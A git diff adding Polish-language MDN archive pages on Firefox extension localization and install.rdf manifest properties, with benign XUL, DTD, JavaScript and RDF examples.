+extensions.ID_ROZSZERZENIA.contributor.3=TRZECIA_ZLOKALIZOWANA_NAZWA
+
+pref("extensions.ID_ROZSZERZENIA.contributor.1", "ŚCIEŻKA_DO_PLIKU_LOKALIZACYJNEGO");
+pref("extensions.ID_ROZSZERZENIA.contributor.2", "ŚCIEŻKA_DO_PLIKU_LOKALIZACYJNEGO");
+pref("extensions.ID_ROZSZERZENIA.contributor.3", "ŚCIEŻKA_DO_PLIKU_LOKALIZACYJNEGO");
+</pre>
+<p>Tym sposobem można zlokalizować następujące elementy:</p>
+<ul>
+ <li>developer (nazwisko programisty)</li>
+ <li>translator (nazwisko tłumacza)</li>
+ <li>contributor (nazwisko współtwórcy)</li>
+</ul>
diff --git a/files/pl/lokalizacja_rozszerzenia/index.html b/files/pl/lokalizacja_rozszerzenia/index.html
new file mode 100644
index 0000000000..9f3454d651
--- /dev/null
+++ b/files/pl/lokalizacja_rozszerzenia/index.html
@@ -0,0 +1,103 @@
+---
+title: Lokalizacja rozszerzenia
+slug: Lokalizacja_rozszerzenia
+tags:
+ - Dodatki
+ - Lokalizacja
+ - Rozszerzenia
+ - Wszystkie_kategorie
+translation_of: Archive/Localizing_an_extension
+---
+<p>{{ PreviousNext("Dodawanie preferencji do rozszerzenia", "Updating an extension to support multiple Mozilla applications") }}</p>
+<p>Poniższy artykuł poszerza poprzedni przykład pisania wtyczek o dodanie wsparcia lokalizacyjnego do naszego rozszerzenia "stock watcher". Wykonanie kilka prostych kroków znacznie ułatwia zlokalizowanie wtyczki bez konieczności edytowania plików <a href="pl/XUL">XUL</a>-a lub <a href="pl/JavaScript">JavaScriptu</a>.</p>
+<p>Jeśli jeszcze nie tworzyłeś rozszerzenia, lub chciałbyś sobie przypomnieć jak to się robi, to polecam zobaczyć poniższe artykuły:</p>
+<ul>
+ <li><a href="pl/Tworzenie_rozszerzenia_paska_stanu">Tworzenie rozszerzenia paska stanu</a></li>
+ <li><a href="pl/Tworzenie_rozszerzenia_dynamicznego_paska_stanu">Tworzenie rozszerzenia dynamicznego paska stanu</a></li>
+ <li><a href="pl/Dodawanie_preferencji_do_rozszerzenia">Dodawanie preferencji do rozszerzenia</a></li>
+</ul>
+<h2 id="Pobieranie_przyk.C5.82adu" name="Pobieranie_przyk.C5.82adu">Pobieranie przykładu</h2>
+<p>Możesz pobrać kod przykładu dla tegoż artykułu.</p>
+<p><a class="external" href="http://developer.mozilla.org/samples/extension-samples/localizedstockwatcher.zip" rel="freelink">http://developer.mozilla.org/samples...ockwatcher.zip</a></p>
+<h2 id="Lokalizacja_string.C3.B3w_w_plikach_XUL" name="Lokalizacja_string.C3.B3w_w_plikach_XUL">Lokalizacja stringów w plikach XUL</h2>
+<h3 id="Tworzenie_plik.C3.B3w_locale" name="Tworzenie_plik.C3.B3w_locale">Tworzenie plików locale</h3>
+<p>Każdy plik XUL zawierający interfejs użytkownika twojego rozszerzenia to powinien zawierać plik locale w swoim katalogu locale. Każdy plik locale file mapuje nazwy, do których się odwołują ciągi w plikach XUL. Okno dialogowe własności, dla plików XUL to <code>options.xul</code> ma odpowiadający mu plik <code>options.dtd</code> wyglądający jak poniżej:</p>
+<pre class="eval"> &lt;!ENTITY options_window_title "StockWatcher 2 Preferences"&gt;
+ &lt;!ENTITY options_symbol.label "Stock to watch: "&gt;
+</pre>
+<p>Encja "options_window_title" mapuje ciąg "StockWatcher 2 Preferences", który będzie użyty jako tytuł okna własności.</p>
+<p>Plik <code>stockwatcher2.dtd</code> zawiera mapowanie dla pliku <code>stockwatcher2.xul</code>:</p>
+<pre class="eval"> &lt;!ENTITY panel_loading "Loading..."&gt;
+ &lt;!ENTITY menu_refresh_now.label "Refresh Now"&gt;
+ &lt;!ENTITY menu_apple.label "Apple (AAPL)"&gt;
+ &lt;!ENTITY menu_google.label "Google (GOOG)"&gt;
+ &lt;!ENTITY menu_microsoft.label "Microsoft (MSFT)"&gt;
+ &lt;!ENTITY menu_yahoo.label "Yahoo (YHOO)"&gt;
+</pre>
+<h3 id="Aktualizacja_plik.C3.B3w_XUL" name="Aktualizacja_plik.C3.B3w_XUL">Aktualizacja plików XUL</h3>
+<p>Każdy plik XUL musi posiadać odpowiadający mu plik locale. Musimy również zaktualizować kod, by używać encji zamiast strumieni, tak by podmiany bazowały na aktualnie aktywnej lokalizacji.</p>
+<p>W celu dodania odnośnika do odpowiedniego pliku locale dla danego plika XUL-a należy dodać następującą linię do pliku XUL-a. Do pliku <code>options.xul</code>, dodajemy:</p>
+<pre class="eval"> &lt;!DOCTYPE window SYSTEM "<a class="external" rel="freelink">chrome://stockwatcher2/locale/options.dtd</a>"&gt;
+</pre>
+<p>Następnie dodajemy podobną linię do pliku <code>stockwatcher.xul</code>:</p>
+<pre class="eval"> &lt;!DOCTYPE overlay SYSTEM "<a class="external" rel="freelink">chrome://stockwatcher2/locale/stockwatcher2.dtd</a>"&gt;
+</pre>
+<p>Dla większych aplikacji może zachodzić potrzeba używania encji z większej liczby plików locale w pojedynczym pliku XUL. Artykuł <a href="pl/Zastosowanie_wielu_plik%c3%b3w_DTD">Zastosowanie wielu plików DTD</a> opisuje jak tego dokonać.</p>
+<p>Zauważ, że adresy URL plików DTD nie zawierają nazwy lokalizacji jaką należy użyć. Rejestr chrome przetwarza URI bazując na aktualnych ustawieniach językowych użytkownika oraz danych w twoim <a href="#Aktualizacja_manifestu_chrome">manifeście Chrome</a>.</p>
+<p>Następnie zastępujemy po prostu strumień tekstu w plikach XUL na odpowiednie encje. Przykładowo w <code>stockwatcher2.xul</code> zmieniamy linię:</p>
+<pre class="eval"> &lt;menuitem label="Refresh Now" oncommand="StockWatcher.refreshInformation()"/&gt;
+</pre>
+<p>na:</p>
+<pre class="eval"> &lt;menuitem label="&amp;menu_refresh_now.label;" oncommand="StockWatcher.refreshInformation()"/&gt;
+</pre>
+<p>Należy tego dokonać dla każdego strumienia we wszystkich plikach XUL.</p>
+<h2 id="Aktualizacja_manifestu_chrome" name="Aktualizacja_manifestu_chrome">Aktualizacja manifestu chrome</h2>
+<p>Aby dodać nowe lokalizacje, musimy uaktualnić plik <code><a href="pl/Rejestracja_Chrome">chrome.manifest</a></code> dodając po jednej linii dla każdej lokalizacji:</p>
+<pre class="eval"> locale stockwatcher2 en-US chrome/locale/en-US/
+</pre>
+<p>To informuje Firefoksa o tym, że lokalizacja en-US jest umieszczona w katalogu <code>chrome/locale/en-US</code>.</p>
+<h3 id="Lokalizacja_string.C3.B3w_w_kodzie_JavaScript" name="Lokalizacja_string.C3.B3w_w_kodzie_JavaScript">Lokalizacja stringów w kodzie JavaScript</h3>
+<p>Jeśli twój kod JavaScriptu zawiera stringi, które należałoby zlokalizować jak jest to pokazane w naszym przykładzie "stock watcher", musimy uczynić je lokalizowanymi. Można to zrobić poprzez przeniesienie do paczki stringów. Są one tworzone poprzez określenie pliku własności mapującego klucze na wartości stringów. Szczegółowych wyjaśnień należy szukać w artykule <a href="pl/Kurs_XUL/Plik_w%c5%82asno%c5%9bci">Kurs XUL:Plik własności</a>.</p>
+<h3 id="Tworzenie_pliku_w.C5.82asno.C5.9Bci" name="Tworzenie_pliku_w.C5.82asno.C5.9Bci">Tworzenie pliku własności</h3>
+<p>Najpierw musimy stworzyć plik własności dla strumieni literałów używanych w kodzie JavaScriptu w <code>stockwatcher2.js</code>:</p>
+<pre class="eval">changeString=Chg:
+openString=Open:
+lowString=Low:
+highString=High:
+volumeString=Vol:
+</pre>
+<p>Plik &lt;tt&gt;stockwatcher2.properties&lt;/tt&gt; przedstawiony powyżej pokazuje mapowanie 5 kluczy (<code>changeString</code>, <code>openString</code>, <code>lowString</code>, <code>highString</code> i <code>volumeString</code>) na odpowiedni tekst angielski.</p>
+<h3 id="Tworzenie_paczki_strumieni" name="Tworzenie_paczki_strumieni">Tworzenie paczki strumieni</h3>
+<p>Kolejnym krokiem jest zmodyfikowanie pliku &lt;tt&gt;stockwatcher2.xul&lt;/tt&gt; w celu stworzenia odnośnika do tego pliku własności. Tworzymy paczkę strumieni za pomocą następującego kodu:</p>
+<pre class="eval"> &lt;stringbundleset id="stringbundleset"&gt;
+ &lt;stringbundle id="string-bundle" src="<a class="external" rel="freelink">chrome://stockwatcher2/locale/stockw...er2.properties</a>"/&gt;
+ &lt;/stringbundleset&gt;
+</pre>
+<p>Nowa paczka została stworzona i do niej odnosi się teraz ID "string-bundle", którego klucze oraz wartości należy załadować z pliku <code>stockwatcher2.properties</code> stworzonego uprzednio.</p>
+<h3 id="Aktualizacja_kodu_JavaScriptu" name="Aktualizacja_kodu_JavaScriptu">Aktualizacja kodu JavaScriptu</h3>
+<p>Jesteśmy teraz gotowi do przejrzenia kodu JavaScriptu, by załadować strumienie z paczki strumienia zamiast używać strumieni literałów. Dotyczy to przepisania funkcji <code>refreshInformation()</code> dla wczytania strumieni oraz funkcji <code>infoReceived()</code>, by używać wczytanych, zlokalizowanych strumieni zamiast strumieni literałów. Dodajemy do <code>refreshInformation()</code> następujący kod:</p>
+<pre class="eval"> var stringsBundle = document.getElementById("string-bundle");
+ var changeString = stringsBundle.getString('changeString') + " ";
+ var openString = stringsBundle.getString('openString') + " ";
+ var lowString = stringsBundle.getString('lowString') + " ";
+ var highString = stringsBundle.getString('highString') + " ";
+ var volumeString = stringsBundle.getString('volumeString') + " ";
+</pre>
+<p>Kod odnosi się do elementu paczki strumieni dodanych w pliku &lt;tt&gt;stockwatcher2.xul&lt;/tt&gt; poprzez wywołanie <code>document.getElementById()</code>, gdzie ID to <code>string-bundle</code>. Następnie pobiera pojedynczo wszystkie potrzebne strumienie z paczki wywołując metodę <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_stringbundle.html#prop_getString">getString()</a></code> i przekazując odpowiedni klucz dla każdego strumienia.</p>
+<p>W tym przypadku dodajemy również spacje do końca każdego strumienia. Jest to po prostu sposób działania tegoż programu, a nie coś co należy robić.</p>
+<p>Następnie zastępujemy każdy strumień literałów odpowiednią zmienną:</p>
+<pre class="eval"> samplePanel.tooltipText = changeString + fieldArray[4] + " | " +
+ openString + fieldArray[5] + " | " +
+ lowString + fieldArray[6] + " | " +
+ highString + fieldArray[7] + " | " +
+ volumeString + fieldArray[8];
+</pre>
+<h2 id="Lokalizacja_opisu_w_install.rdf" name="Lokalizacja_opisu_w_install.rdf">Lokalizacja opisu w install.rdf</h2>
+<p>Zobacz <a href="pl/Lokalizacja_opisu_rozszerzenia">Lokalizacja opisu rozszerzenia</a>.</p>
+<h2 id="Dodawanie_innych_lokalizacji" name="Dodawanie_innych_lokalizacji">Dodawanie innych lokalizacji</h2>
+<p>W celu dodania nowej lokalizacji należy dodać linię do manifestu chrome odwołującą się do tegoż języka. Przykładowo, jeśli chcesz dodać język hiszpański linia ta wyglądać będzie następująco:</p>
+<pre class="eval"> locale stockwatcher2 es-ES chrome/locale/es-ES/
+</pre>
+<p>Następnie stwórz podkatalog <code>chrome/locale/es-ES</code> i dodaj wszystkie potrzebne pliki DTD; w tym przypadku to <code>options.dtd</code> oraz <code>stockwatcher2.dtd</code>. Powyższe pliki powinny mapować te same znaczniki do hiszpańskiego tłumaczenia strumieni używanych przez rozszerzenie.</p>
+<p>Podobnie jest, gdy posiadamy jakieś pliki własności zawierające lokalizowane strumienie w kodzie JavaScriptu. Musimy stworzyć zlokalizowaną wersję tychże plików własności w katalogu <code>chrome/locale/es-ES</code>. Tylko strumienie powinny być lokalizowane; klucze powinny być takie same dla każdej lokalizacji.</p>
+<p>{{ Previous("Dodawanie preferencji do rozszerzenia") }}</p>
diff --git a/files/pl/manifesty_instalacji/index.html b/files/pl/manifesty_instalacji/index.html
new file mode 100644
index 0000000000..84a2118345
--- /dev/null
+++ b/files/pl/manifesty_instalacji/index.html
@@ -0,0 +1,444 @@
+---
+title: Manifesty Instalacji
+slug: Manifesty_Instalacji
+tags:
+ - Rozszerzenia
+ - Strony_wymagające_dopracowania
+ - Toolkit API
+translation_of: Archive/Add-ons/Install_Manifests
+---
+<h2 id="Wprowadzenie" name="Wprowadzenie">Wprowadzenie</h2>
+
+<p>Manifest Instalacji to plik, dzięki któremu Menedżer Dodatków określa szczegółowe informacje na temat dodatku, który jest instalowany. Zawiera on dane identyfikujące dodatek oraz informacje takie, jak: kto go stworzył, gdzie można znaleźć więcej informacji na jego temat, z jakimi wersjami aplikacji jest on zgodny, jak powinien przebiegać proces aktualizacji i tym podobne.</p>
+
+<p>Manifest Instalacji jest zapisany w formacie RDF/XML.</p>
+
+<p>Plik musi mieć nazwę <code>install.rdf</code>. Należy go umieścić na najwyższym poziomie pliku XPI.</p>
+
+<h2 id="Budowa" name="Budowa">Budowa</h2>
+
+<p>Podstawowy Manifest Instalacji ma budowę:</p>
+
+<pre class="eval">&lt;?xml version="1.0"?&gt;
+
+&lt;RDF xmlns="<span class="nowiki">http://www.w3.org/1999/02/22-rdf-syntax-ns#</span>"
+ xmlns:em="<span class="nowiki">http://www.mozilla.org/2004/em-rdf#</span>"&gt;
+ &lt;Description about="urn:mozilla:install-manifest"&gt;
+ &lt;!-- własności --&gt;
+ &lt;/Description&gt;
+&lt;/RDF&gt;
+</pre>
+
+<p>Niektóre własności są wymagane, inne nie. Jedne to proste łańcuchy tekstu, drugie to złożone zasoby.</p>
+
+<h2 id="Wymagane_w.C5.82asno.C5.9Bci" name="Wymagane_w.C5.82asno.C5.9Bci">Wymagane własności</h2>
+
+<p>Manifest Instalacji musi określać te własności, inaczej Twój dodatek nie zostanie zainstalowany.</p>
+
+<h3 id="id" name="id">id</h3>
+
+<p>id rozszerzenia to:</p>
+
+<ul>
+ <li>GUID (wygenerowany przy pomocy guidgen w Windows lub uuidgen na systemach Uniksowych) (Firefox 1.0)</li>
+ <li>{{ Fx_minversion_inline(1.5) }} Łańcuch tekstu w postaci: <code><a class="link-mailto" href="mailto:nazwawtyczki@organizacja.org" rel="freelink">nazwawtyczki@organizacja.org</a></code></li>
+</ul>
+
+<p>Ostatni format jest łatwiejszy do stworzenia i korzystania. Firefox 1.5 upewni się, że w twoim manifeście znajduje się id w jednym z podanych formatów, jeśli natrafi na źle sformułowany id, nie zainstaluje dodatku.</p>
+
+<p><strong>Przykłady</strong></p>
+
+<pre class="eval">&lt;em:id&gt;<a class="link-mailto" href="mailto:mojawtyczka@mojastrona.pl" rel="freelink">mojawtyczka@mojastrona.pl</a>&lt;/em:id&gt;
+
+&lt;em:id&gt;{daf44bf7-a45e-4450-979c-91cf07434c3d}&lt;/em:id&gt;
+</pre>
+
+<h3 id="version" name="version">version</h3>
+
+<p>Numer wersji odpowiedni dla instalowanego dodatku.</p>
+
+<p>Dla Firefoksa/Thundebirda 1.0, format wersji musi spełniać warunki podane w artykule <a href="/pl/Extension_Versioning,_Update_and_Compatibility" title="pl/Extension_Versioning,_Update_and_Compatibility">Extension Versioning, Update and Compatibility</a>. Dla Firefoksa/Thundebirda 1.5, zobacz <a href="/pl/Toolkit_version_format" title="pl/Toolkit_version_format">Toolkit version format</a>.</p>
+
+<p><strong>Przykłady</strong></p>
+
+<pre class="eval">&lt;em:version&gt;2.0&lt;/em:version&gt;
+
+&lt;em:version&gt;1.0.2&lt;/em:version&gt;
+
+&lt;em:version&gt;0.4.1.2005090112&lt;/em:version&gt;
+
+</pre>
+
+<p><strong>Firefox 1.5</strong> - dodatki, które nie mają poprawnie określonego numeru wersji nie będą instalowane.</p>
+
+<p><strong>Dodatki hostowane na addons.mozilla.org</strong> - strona z aktualizacjami Mozilli może przepakować i naprawić lub odrzucić dodatek ze źle określonym numerem wersji.</p>
+
+<h3 id="type" name="type">type</h3>
+
+<p>Liczba całkowita określająca typ dodatku.</p>
+
+<table>
+ <tbody>
+ <tr>
+ <td>2</td>
+ <td>Rozszerzenia</td>
+ </tr>
+ <tr>
+ <td>4</td>
+ <td>Motywy</td>
+ </tr>
+ <tr>
+ <td>8</td>
+ <td>Lokalizacje</td>
+ </tr>
+ <tr>
+ <td>16</td>
+ <td>Wtyczki</td>
+ </tr>
+ <tr>
+ <td>32</td>
+ <td><a href="/pl/Multiple_Item_Packaging" title="pl/Multiple_Item_Packaging">Multiple Item Package</a></td>
+ </tr>
+ </tbody>
+</table>
+
+<p><strong>Przykłady</strong></p>
+
+<pre class="eval">&lt;em:type&gt;2&lt;/em:type&gt;
+</pre>
+
+<p>{{ Fx_minversion_inline(1.5) }} Tę własność dodano w Firefoksie 1.5 i jest ona wymagana tylko dla dodatków innych niż Rozszerzenia i Motywy.</p>
+
+<h2 id="targetApplication" name="targetApplication">targetApplication</h2>
+
+<p>Obiekt określający aplikację bazową dodatku. Oznacza to, że dodatek będzie działać z aplikacją identyfikowaną poprzez określoną własność (<code>&lt;em:id&gt;</code>)(zobacz pełną listę ID aplikacji na stronie <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/pages/appversions">Poprawne wersje aplikacji dla programistów dodatków</a>), od minimalnej wersji (<code>&lt;em:minVersion&gt;</code>) do i włącznie z maksymalną wersją (<code>&lt;em:maxVersion&gt;</code>). Numery wersji określamy w ten sam sposób jak przy własności <a href="#version"><code>version</code></a> będzie porównywany z wersją aplikacji; pozwala to autorowi rozszerzenia na określenie wersji Firefoksa, na których było ono testowane.</p>
+
+<p>Uwaga: Firefoks 1.0-1.0.6 posiada wersję aplikacji <code>1.0</code>. Uaktualnienia bezpieczeństwa oraz stabilności Firefoksa 1.5 posiadają wersje aplikacji 1.5.0.1, 1.5.0.2, itd. Rozszerzenia kompatybilne z Firefoksem lub Thunderbirdem 1.5 powinny określać maxVersion na 1.5.0.*, tak by były automatycznie zgodne z aktualizacjami bezpieczeństwa i stabilności.</p>
+
+<p>Rozszerzenia kompatybilne z Firefoksem 2 powinny mieć określoną własność <code>maxVersion</code> jako <code>2.0.0.*</code></p>
+
+<p>Manifest Instalacji musi określać przynajmniej jeden taki obiekt, a może więcej, jeżeli dodatek ma współpracować z wieloma aplikacjami, które posiadają Menedżera Dodatków (np. Firefox i Thunderbird)</p>
+
+<p><strong>Przykłady</strong></p>
+
+<pre class="eval">&lt;em:targetApplication&gt;
+ &lt;Description&gt;
+ &lt;em:id&gt;{ec8030f7-c20a-464f-9b0e-13a3a9e97384}&lt;/em:id&gt; <span class="comment">Firefox</span>
+ &lt;em:minVersion&gt;1.5&lt;/em:minVersion&gt;
+ &lt;em:maxVersion&gt;2.0.0.*&lt;/em:maxVersion&gt;
+ &lt;/Description&gt;
+&lt;/em:targetApplication&gt;
+</pre>
+
+<h3 id="name" name="name">name</h3>
+
+<p>Nazwa dodatku wyświetlana w interfejsie użytkownika (UI).</p>
+
+<p><strong>Przykłady </strong></p>
+
+<pre class="eval">&lt;em:name&gt;Moje Rozszerzenie&lt;/em:name&gt;
+</pre>
+
+<h2 id="Opcjonalne_w.C5.82asno.C5.9Bci" name="Opcjonalne_w.C5.82asno.C5.9Bci">Opcjonalne własności</h2>
+
+<p>Będziesz mógł określić te własności w zależności od możliwości Twojego dodatku.</p>
+
+<h3 id="localized" name="localized">localized</h3>
+
+<p>Allows you to localize the add-on's name, description, contributors and other metadata. The localized description must specify at least one <code>em:locale</code> which indicates which locales to use this information for.</p>
+
+<p><strong>Przykłady</strong></p>
+
+<p>This declares a set of add-on metadata to be displayed when the application is running in the de-DE locale.</p>
+
+<pre>&lt;em:localized&gt;
+ &lt;Description&gt;
+ &lt;em:locale&gt;de-DE&lt;/em:locale&gt;
+ &lt;em:name&gt;Tab Sidebar&lt;/em:name&gt;
+ &lt;em:description&gt;Zeigt in einer Sidebar Vorschaubilder der Inhalte aller offenen Tabs an.&lt;/em:description&gt;
+ &lt;/Description&gt;
+&lt;/em:localized&gt;
+</pre>
+
+<p>The following properties which are described elsewhere in this page can be included in the localized property:</p>
+
+<ul>
+ <li>name</li>
+ <li>description</li>
+ <li>creator</li>
+ <li>homepageURL</li>
+ <li>developer</li>
+ <li>translator</li>
+ <li>contributor</li>
+</ul>
+
+<p>Więcej dokumentacji można znaleźć na stronie <a href="/pl/Lokalizacja_opisu_rozszerzenia" title="pl/Lokalizacja_opisu_rozszerzenia">Lokalizacja opisu rozszerzenia</a>.</p>
+
+<p>{{ Fx_minversion_inline(3) }} Ta własność została dodana dla Firefoksa 3.</p>
+
+<h3 id="description" name="description">description</h3>
+
+<p>Krótki opis dodatku wyświetlany w interfejsie użytkownika. Opis powinien mieścić się w krótkiej linijce tekstu.</p>
+
+<p><strong>Przykłady</strong></p>
+
+<pre class="eval">&lt;em:description&gt;Zaawansowana wtyczka.&lt;/em:description&gt;
+</pre>
+
+<h3 id="creator" name="creator">creator</h3>
+
+<p>Imię twórcy/głównego developera wyświetlane w interfejsie użytkownika.</p>
+
+<p><strong>Przykłady</strong></p>
+
+<pre class="eval">&lt;em:creator&gt;Jan Kowalski&lt;/em:creator&gt;
+</pre>
+
+<p>lub</p>
+
+<pre class="eval">&lt;em:creator&gt;CoolExtension Team&lt;/em:creator&gt;
+</pre>
+
+<h3 id="developer" name="developer">developer</h3>
+
+<p>Imię i nazwisko (imiona i nazwiska) <strong>co-developers</strong>. Można określić więcej niż jednego programistę. {{ Fx_minversion_inline(2) }}</p>
+
+<p><strong>Przykłady</strong></p>
+
+<pre class="eval">&lt;em:developer&gt;Jane Doe&lt;/em:developer&gt;
+&lt;em:developer&gt;Koos van der Merwe&lt;/em:developer&gt;
+</pre>
+
+<h3 id="translator" name="translator">translator</h3>
+
+<p>Imię i nazwisko (imiona i nazwiska) osób tłumaczących. Można określić więcej niż jednego tłumacza. {{ Fx_minversion_inline(2) }}</p>
+
+<p><strong>Przykłady</strong></p>
+
+<pre class="eval">&lt;em:translator&gt;Jan Kowalski&lt;/em:translator&gt;
+&lt;em:translator&gt;Jan Nowak&lt;/em:translator&gt;
+</pre>
+
+<h3 id="contributor" name="contributor">contributor</h3>
+
+<p>Imiona i nazwiska dodatkowych współpracowników. Można określić więcej niż jednego współpracownika.</p>
+
+<p><strong>Przykłady</strong></p>
+
+<pre class="eval">&lt;em:contributor&gt;Jan Kowalski&lt;/em:contributor&gt;
+</pre>
+
+<pre class="eval">&lt;em:contributor&gt;Jan Kowalski&lt;/em:contributor&gt;
+&lt;em:contributor&gt;Jan Nowak&lt;/em:contributor&gt;
+&lt;em:contributor&gt;Jan Kowalski&lt;/em:contributor&gt;
+</pre>
+
+<h3 id="homepageURL" name="homepageURL">homepageURL</h3>
+
+<p>Odnośnik do strony domowej dodatku wyświetlany w interfejsie użytkownika.</p>
+
+<p><strong>Przykład:</strong></p>
+
+<pre class="eval">&lt;em:homepageURL&gt;<span class="nowiki">http://www.foo.com/</span>&lt;/em:homepageURL&gt;
+</pre>
+
+<h3 id="updateURL" name="updateURL">updateURL</h3>
+
+<p>Odnośnik do własnego Manifestu Aktualizacji, który określa dostępne aktualizacje dla twojego dodatku. Składnia jest opisana poniżej. Jeżeli użytkownik wybrał odpowiednią opcję, to Menadżer Dodatków, co jakiś czas sprawdza plik Manifestu, by określić, czy jest dostępna nowa wersja dodatku.</p>
+
+<div class="warning"><strong>Ostrzeżenie:</strong> It is strongly recommended that the <code>updateURL</code> be an HTTPS (secure) link. Non-secure update URLs can be hijacked by a malicious <code>update.rdf</code> file, enabling malware to infiltrate the user's computer. Alternatively, you could host your extension on <a class="external" href="http://addons.mozilla.org">AMO</a> and leave out the <code>updateURL</code> completely. This provides secure updates automatically.</div>
+
+<p>Twój serwer musi wysłać ten plik w postaci <code>text/rdf</code>, inaczej automatyczna aktualizacja nie zadziała.</p>
+
+<p>Menadżer Dodatków odpowiednio zamieni poniższe wartości w adresie URL, jeżeli chcesz, aby odpowiedź w formacie RDF była generowana dynamicznie, za pomocą PHP lub CGI:</p>
+
+<table>
+ <tbody>
+ <tr>
+ <td><code>%REQ_VERSION%</code></td>
+ <td>Wersja żądania. Obecnie 1</td>
+ </tr>
+ <tr>
+ <td><code>%ITEM_ID%</code></td>
+ <td><code>id</code> aktualizowanego dodatku</td>
+ </tr>
+ <tr>
+ <td><code>%ITEM_VERSION%</code></td>
+ <td><code>version</code> aktualizowanego dodatku</td>
+ </tr>
+ <tr>
+ <td><code>%ITEM_MAXAPPVERSION%</code></td>
+ <td><code>maxVersion</code> obiektu <code>targetApplication</code> odpowiadającego aplikacji bazowej aktualizowanego dodatku.</td>
+ </tr>
+ <tr>
+ <td><code>%APP_ID%</code></td>
+ <td><code>id</code> aplikacji bazowej</td>
+ </tr>
+ <tr>
+ <td><code>%APP_VERSION%</code></td>
+ <td><code>version</code> aplikacji bazowej</td>
+ </tr>
+ <tr>
+ <td><code>%APP_OS%</code></td>
+ <td>Wartość <code>OS_TARGET</code> ze środowiska kompilacji Firefoksa, wykorzystywana do identyfikacji systemu operacyjnego. {{ Fx_minversion_inline(1.5) }}</td>
+ </tr>
+ <tr>
+ <td><code>%APP_ABI%</code></td>
+ <td>Wartość <code>TARGET_XPCOM_ABI</code> ze środowiska kompilacji Firefoksa, identyfikująca kompilator/architekturę użytą do kompilacji aplikacji bazowej. {{ Fx_minversion_inline(1.5) }}</td>
+ </tr>
+ </tbody>
+</table>
+
+<p><strong>Przykłady</strong></p>
+
+<p>&lt;em:updateURL&gt;<span class="nowiki">http://www.foo.com/update.cgi?id=%ITEM_ID%&amp;amp;version=%ITEM_VERSION%</span>&lt;/em:updateURL&gt;</p>
+
+<p>&lt;em:updateURL&gt;<span class="nowiki">http://www.foo.com/extension/windows.rdf</span>&lt;/em:updateURL&gt;</p>
+
+<p><strong>Dodatki hostowane na addons.mozilla.org:</strong> Nie musisz określać własności updateURL. Domyślnie aplikacje Mozilli korzystające z Menedżera Dodatków (jak Firefox i Thunderbird) wysyłają żądanie aktualizacji do <code>addons.mozilla.org</code>. Za każdym razem, kiedy wgrasz nową wersję twojego dodatku albo zmienisz parametry kompatybilności poprzez interfejs autora, twój Manifest Aktualizacji zostanie wygenerowany automatycznie.</p>
+
+<p><strong>Format Manifestu Aktualizacji:</strong> Manifest Aktualizacji jest w formacie RDF/XML, który jest opisana tutaj: <a href="/pl/Manifest_Aktualizacji" title="pl/Manifest_Aktualizacji">Manifest Aktualizacji</a></p>
+
+<h3 id="optionsURL" name="optionsURL">optionsURL</h3>
+
+<p>Adres <code>chrome://</code> okna dialogowego opcji rozszerzenia. Jest to przydatne jedynie rozszerzeniom. Jeżeli właściwość jest określona, przycisk Opcje na liście rozszerzeń będzie dostępny i będzie wyświetlał podane okno.</p>
+
+<p><strong>Przykłady</strong></p>
+
+<pre class="eval">&lt;em:optionsURL&gt;<a class="external" rel="freelink">chrome://wtyka/content/opcje.xul</a>&lt;/em:optionsURL&gt;
+</pre>
+
+<h3 id="aboutURL" name="aboutURL">aboutURL</h3>
+
+<p>Adres <code>chrome://</code> okna dialogowego <em>Informacje o rozszerzeniu</em> dodatku. Jest to przydatne jedynie rozszerzeniom. Jeżeli własność jest określona, przycisk <em>Informacje o rozszerzeniu...</em> na liście rozszerzeń będzie dostępny i będzie wyświetlał podane okno zamiast domyślnego.</p>
+
+<p><strong>Przykłady</strong></p>
+
+<pre class="eval">&lt;em:aboutURL&gt;<a class="external" rel="freelink">chrome://wtyka/content/about.xul</a>&lt;/em:aboutURL&gt;
+</pre>
+
+<h3 id="iconURL" name="iconURL">iconURL</h3>
+
+<p>Adres <code>chrome://</code> do ikonki o rozmiarze 32x32, która pojawi się na liście dodatków. Jeżeli nie określisz tej własności zostanie użyta domyślna ikonka.</p>
+
+<pre class="eval">&lt;em:iconURL&gt;<a class="external" rel="freelink">chrome://wtyka/skin/ikonka.png</a>&lt;/em:iconURL&gt;
+</pre>
+
+<h3 id="hidden" name="hidden">hidden</h3>
+
+<p>Wartość logiczna, gdy jest prawdziwa, dodatek nie zostanie wyświetlony na liście; zapewnia, że dodatek instalowany jest w chronionej strefie dostępu (np. nie ze strony WWW). Wykorzystuję się to przy budowaniu integracyjnych haków w większych aplikacjach, które mają na liście rozszerzeń wpisy nie mające sensu.</p>
+
+<p><strong>Przykłady</strong></p>
+
+<pre class="eval">&lt;em:hidden&gt;true&lt;/em:hidden&gt;
+</pre>
+
+<h2 id="Niezalecane_w.C5.82a.C5.9Bciwo.C5.9Bci" name="Niezalecane_w.C5.82a.C5.9Bciwo.C5.9Bci">Niezalecane właściwości</h2>
+
+<p>Te właściwości nie są wspierane w nowszych wersjach Menedżera Dodatków. Są one ignorowane, ale mogą być wymagane przez starsze wersje.</p>
+
+<h3 id="targetPlatform" name="targetPlatform">targetPlatform</h3>
+
+<p>A string specifying a platform that the addon supports. It contains either the value of OS_TARGET alone or combined with <a href="/pl/XPCOM_ABI" title="pl/XPCOM_ABI">TARGET_XPCOM_ABI</a>, separated by an underscore (_).</p>
+
+<p>OS_TARGET is typically the output of the 'uname -s' command on the target platform, e.g.:</p>
+
+<ul>
+ <li><code>WINNT</code> for Windows NT, 2000, XP and later</li>
+ <li><code>Linux</code> for all Linux versions</li>
+ <li><code>Darwin</code> for all MacOS X versions</li>
+ <li><code>SunOS</code> for all Solaris versions</li>
+</ul>
+
+<p>You can specify multiple targetPlatform properties per manifest. If any value matches the application's build parameters, it will be installed; if not, the user will get an appropriate error message.</p>
+
+<p><strong>Przykłady</strong></p>
+
+<pre class="eval">&lt;em:targetPlatform&gt;WINNT_x86-msvc&lt;/em:targetPlatform&gt;
+
+&lt;em:targetPlatform&gt;Linux&lt;/em:targetPlatform&gt;
+
+&lt;em:targetPlatform&gt;Darwin_ppc-gcc3&lt;/em:targetPlatform&gt;
+
+&lt;em:targetPlatform&gt;SunOS_sparc-sunc&lt;/em:targetPlatform&gt;
+</pre>
+
